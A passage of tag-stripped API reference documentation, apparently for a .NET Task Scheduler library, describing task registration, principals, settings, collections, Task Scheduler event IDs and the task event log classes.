the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator 